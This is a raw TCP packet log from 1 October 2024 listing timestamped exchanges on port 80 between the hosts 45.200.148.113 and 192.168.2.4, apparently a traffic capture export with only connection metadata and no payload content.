Oct 1, 2024 07:51:16.627347946 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.627366066 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.627403021 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.627561092 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.627598047 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.627628088 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.627638102 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.627649069 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.627665997 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.627681017 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.627779007 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.627789974 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.627800941 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.627810955 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.627818108 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.627821922 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.627844095 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.627857924 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.628021955 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.628031969 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.628041983 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.628052950 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.628060102 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.628062963 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.628072977 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.628084898 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.628094912 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.628104925 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.628112078 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.628113985 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.628128052 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.628151894 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.628396988 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.628407955 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.628417969 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.628427982 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.628432989 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.628469944 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.628621101 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.628631115 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.628644943 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.628655910 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.628665924 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.628667116 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.628690004 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.628705978 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.628761053 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.628771067 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.628781080 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.628803968 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.628829956 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.629004002 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.629014969 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.629024982 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.629034996 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.629045010 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.629051924 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.629055023 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.629065037 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.629076004 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.629086018 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.629093885 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.629095078 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.629105091 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.629113913 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.629121065 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.629123926 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.629134893 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.629146099 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.629168987 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.629424095 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.629434109 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.629443884 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.629467010 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.629472971 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.629477024 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.629487038 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.629498005 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.629504919 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.629522085 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.629539013 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.629909039 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.629920006 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.629935980 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.629945993 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.629956007 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.629960060 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.629966974 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.629976988 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.629987001 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.629991055 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.629997969 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.630007982 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.630017996 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.630027056 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.630032063 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.630038023 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.630048037 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.630060911 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.630060911 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.630069971 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.630079031 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.630080938 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.630090952 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.630100965 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.630111933 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.630116940 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.630148888 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.714535952 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.714549065 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.714559078 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.714601040 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.714628935 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.714641094 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.714646101 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.714648008 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.714682102 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.714807034 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.714818001 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.714828014 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.714838028 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.714848995 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.714848995 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.714873075 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.714890957 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.715059042 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.715070009 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.715085983 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.715095997 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.715104103 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.715107918 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.715130091 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.715147972 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.715323925 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.715348959 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.715359926 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.715368986 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.715373993 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.715394974 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.715405941 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.715436935 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.715454102 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.715601921 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.715614080 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.715629101 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.715641975 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.715652943 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.715668917 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.715670109 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.715687990 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.715698957 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.715708017 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.715713024 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.715718985 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.715778112 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.715778112 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.715799093 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.716197014 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.716211081 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.716222048 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.716231108 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.716242075 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.716243029 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.716252089 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.716263056 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.716273069 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.716276884 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.716290951 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.716300011 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.716314077 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.716325998 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.716337919 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.716352940 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.716784954 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.716806889 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.716818094 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.716831923 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.716835022 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.716847897 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.716850996 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.716860056 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.716870070 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.716881037 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.716883898 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.716891050 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.716901064 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.716911077 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.716922045 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.716943026 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.717427015 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.717437029 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.717446089 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.717456102 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.717466116 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.717469931 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.717474937 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.717484951 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.717494965 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.717503071 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.717504978 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.717518091 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.717525005 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.717535973 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.717551947 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.717557907 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.717561960 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.717571974 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.717576981 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.717581987 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.717586994 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.717592001 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.717602968 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.717603922 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.717632055 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.718404055 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.718415022 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.718425035 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.718436956 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.718446970 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.718449116 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.718457937 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.718467951 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.718477011 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.718487978 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.718488932 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.718497992 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.718508959 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.718518019 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.718521118 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.718529940 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.718539000 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.718539000 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.718549967 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.718559027 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.718559980 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.718569040 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.718579054 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.718580961 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.718600988 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.718621969 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.719279051 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.719290018 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.719299078 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.719309092 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.719319105 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.719321966 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.719329119 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.719338894 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.719347954 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.719358921 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.719362020 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.719368935 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.719378948 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.719393969 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.719398975 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.719413042 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.719414949 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.719427109 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.719434023 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.719436884 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.719446898 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.719458103 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.719468117 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.719472885 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.719477892 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.719522953 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.719522953 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.720117092 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.720128059 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.720139027 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.720149994 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.720160007 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.720163107 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.720170975 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.720197916 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.803101063 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.803121090 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.803131104 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.803173065 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.803172112 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.803184032 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.803206921 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.803246021 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.803272009 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.803282976 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.803317070 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.803344965 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.803416967 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.803427935 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.803436995 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.803448915 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.803457022 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.803458929 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.803469896 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.803482056 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.803518057 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.803647041 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.803658009 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.803668976 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.803678036 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.803692102 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.803734064 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.803776979 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.803786993 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.803807020 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.803817987 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.803818941 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.803828955 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.803849936 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.803873062 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.804049969 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.804059029 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.804069042 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.804080009 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.804090023 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.804092884 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.804100990 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.804114103 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.804135084 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.804158926 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.804342985 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.804374933 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.804383993 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.804392099 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.804406881 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.804416895 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.804428101 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.804430962 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.804430962 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.804439068 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.804446936 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.804450035 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.804462910 CEST	80	49732	45.200.148.113	192.168.2.4
